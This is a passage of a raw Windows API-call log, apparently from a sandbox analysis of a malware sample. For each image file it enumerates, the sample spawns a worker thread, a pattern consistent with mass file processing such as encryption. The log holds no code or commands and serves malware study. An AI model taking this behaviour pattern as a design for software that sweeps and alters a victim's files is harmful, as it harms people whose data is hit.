	[0217.820] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1
	[0217.820] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f4
	[0217.823] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.823] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1
	[0217.823] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f8
	[0217.826] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.828] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1
	[0217.828] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18fc
	[0217.830] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.831] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1
	[0217.831] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1900
	[0217.834] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.834] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1
	[0217.834] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1904
	[0217.837] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1
	[0217.837] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1908
	[0217.840] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.840] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1
	[0217.840] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190c
	[0217.844] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.844] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1
	[0217.844] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1910
	[0217.847] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0217.848] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1
	[0217.848] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0217.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1914
	[0218.146] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.211] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1
	[0218.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1918
	[0218.222] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.223] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1
	[0218.223] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x191c
	[0218.226] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.227] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1
	[0218.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1920
	[0218.230] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.231] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1
	[0218.231] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1924
	[0218.233] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.234] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1
	[0218.238] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1928
	[0218.240] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.240] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1
	[0218.241] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x192c
	[0218.243] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.243] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1
	[0218.243] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1930
	[0218.246] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.246] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1
	[0218.247] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1934
	[0218.250] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.250] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1
	[0218.250] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1938
	[0218.253] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.254] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1
	[0218.254] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0218.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x193c
	[0219.137] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.138] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1
	[0219.138] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1940
	[0219.141] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.141] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1
	[0219.141] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1944
	[0219.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.145] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1
	[0219.145] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1948
	[0219.149] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.150] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1
	[0219.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194c
	[0219.152] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.153] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1
	[0219.153] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1950
	[0219.156] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.157] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1
	[0219.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1954
	[0219.160] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.160] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1
	[0219.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1958
	[0219.163] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.164] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1
	[0219.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x195c
	[0219.167] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
